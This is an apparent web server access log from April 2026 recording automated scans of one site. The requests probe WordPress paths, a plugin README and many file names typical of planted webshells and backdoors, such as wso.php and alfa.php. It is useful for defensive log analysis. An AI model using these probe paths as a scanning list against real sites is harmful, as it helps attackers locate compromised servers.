- - [21/Apr/2026:18:18:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 199.45.155.77 - - [21/Apr/2026:18:09:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 212.34.140.200 - - [21/Apr/2026:20:27:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 129.226.93.214 - - [21/Apr/2026:19:49:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.157.22.57 - - [21/Apr/2026:20:38:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 94.26.106.111 - - [21/Apr/2026:19:37:41 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1; rv:121.0) Gecko/20100101 Firefox/121.0" 125.94.144.102 - - [21/Apr/2026:23:18:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 156.67.26.145 - - [21/Apr/2026:22:22:29 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 190.60.57.43 - - [21/Apr/2026:22:04:02 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 202.58.78.246 - - [21/Apr/2026:23:47:42 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.157.158.178 - - [22/Apr/2026:02:15:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 79.110.196.134 - - [22/Apr/2026:01:01:25 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.133.69.37 - - [22/Apr/2026:01:25:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 216.244.66.194 - - [22/Apr/2026:03:41:36 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 132.196.3.209 - - [22/Apr/2026:04:21:29 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:21:34 +0300] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:21:34 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:21:51 +0300] "GET /wp-includes/blocks/shortcode/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:22:10 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:22:11 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:22:14 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:22:15 +0300] "GET /wp-content/uploads/goods.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:23:08 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:23:09 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:23:10 +0300] "GET /tes.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:23:15 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:23:47 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:24:07 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:24:12 +0300] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:24:13 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:24:16 +0300] "GET /o.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:24:40 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:24:43 +0300] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:24:46 +0300] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:24:50 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:24:53 +0300] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:24:53 +0300] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:24:57 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:25:00 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:25:13 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:25:31 +0300] "GET /wp-includes/SimplePie/admin.php HTTP/1.1" 301 795 "-" "-" 156.67.26.52 - - [22/Apr/2026:04:40:05 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 156.67.26.52 - - [22/Apr/2026:04:41:08 +0300] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 132.196.3.209 - - [22/Apr/2026:04:16:59 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:17:08 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:20:52 +0300] "GET /akcc.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:20:56 +0300] "GET /wk/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:21:22 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:21:22 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:16:25 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:16:43 +0300] "GET /public/css.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:19:59 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:19:59 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:20:30 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:22:22 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:22:23 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:22:23 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:16:36 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:16:54 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:17:14 +0300] "GET /gelay.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:17:49 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:18:42 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:18:46 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:18:46 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:18:49 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:19:24 +0300] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:21:06 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:23:03 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:23:55 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:23:55 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:23:55 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:23:59 +0300] "GET /cache.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:24:01 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:24:02 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:24:02 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:24:21 +0300] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:24:24 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:24:31 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:25:25 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:16:15 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:16:31 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:17:36 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:17:40 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:17:40 +0300] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:18:17 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:19:30 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:19:31 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:19:38 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:20:15 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:20:16 +0300] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:21:11 +0300] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:22:44 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:22:56 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:22:56 +0300] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:23:38 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:25:44 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:25:52 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:17:22 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:19:02 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:19:08 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:19:11 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:19:11 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:20:42 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:22:49 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 156.67.26.52 - - [22/Apr/2026:04:39:05 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 132.196.3.209 - - [22/Apr/2026:04:17:58 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:18:30 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:18:32 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:18:32 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:18:36 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:19:17 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:19:17 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:19:46 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:19:50 +0300] "GET /cah.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:21:58 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:21:59 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:22:00 +0300] "GET /an.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:23:23 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:23:27 +0300] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:25:38 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:16:49 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [22/Apr/2026:04:22:31 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "-" 117.62.235.53 - - [22/Apr/2026:05:09:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 120.26.0.11 - - [22/Apr/2026:06:11:02 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.157.95.239 - - [22/Apr/2026:07:07:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.131.23.154 - - [22/Apr/2026:08:00:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 216.244.66.194 - - [22/Apr/2026:08:18:18 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 20.151.131.235 - - [22/Apr/2026:10:13:35 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:13:52 +0300] "GET /public/css.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:15:07 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:15:07 +0300] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:15:13 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:15:58 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:16:25 +0300] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:16:29 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:16:29 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:16:54 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:16:54 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:16:58 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:16:58 +0300] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:17:03 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:17:07 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:17:10 +0300] "GET /akcc.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:17:12 +0300] "GET /wk/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:17:27 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:17:28 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:17:31 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:17:38 +0300] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:17:38 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:18:11 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:18:11 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:18:11 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:18:25 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:18:27 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:18:30 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:18:31 +0300] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:18:34 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:18:36 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:18:37 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:18:37 +0300] "GET /tes.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:20:16 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:20:19 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:20:22 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "-" 216.244.66.194 - - [22/Apr/2026:10:34:39 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 141.255.164.66 - - [22/Apr/2026:10:50:52 +0300] "GET /wp-content/plugins/kali-forms/README.txt HTTP/1.1" 301 795 "https://www.facebook.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15) Gecko/20100101 Firefox/121.0" 20.151.131.235 - - [22/Apr/2026:10:14:21 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:16:07 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:17:43 +0300] "GET /wp-includes/blocks/shortcode/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:17:46 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:17:46 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:17:46 +0300] "GET /an.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:18:18 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:19:09 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:19:09 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:19:10 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:19:13 +0300] "GET /cache.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:19:20 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:19:20 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:19:20 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:19:23 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 173.252.95.63 - - [22/Apr/2026:10:58:52 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 20.151.131.235 - - [22/Apr/2026:10:13:26 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:13:27 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:14:05 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:14:50 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 20.251.15.42 - - [22/Apr/2026:10:00:48 +0300] "GET /wp-content/r.php HTTP/1.1" 301 795 "-" "-" 20.238.36.81 - - [22/Apr/2026:10:06:27 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.238.36.81 - - [22/Apr/2026:10:06:27 +0300] "GET /wp-content/r.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:19:04 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 20.111.37.69 - - [22/Apr/2026:09:42:04 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:14:56 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:15:42 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:16:11 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:16:11 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:16:38 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:18:43 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:19:45 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:19:51 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 141.255.164.66 - - [22/Apr/2026:10:51:24 +0300] "GET /wp-content/plugins/kali-forms/README.txt HTTP/1.1" 301 795 "https://www.facebook.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15) Gecko/20100101 Firefox/121.0" 180.110.203.108 - - [22/Apr/2026:11:20:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.131.235 - - [22/Apr/2026:10:16:19 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:16:19 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:17:56 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:17:56 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:17:58 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:18:01 +0300] "GET /wp-content/uploads/goods.php 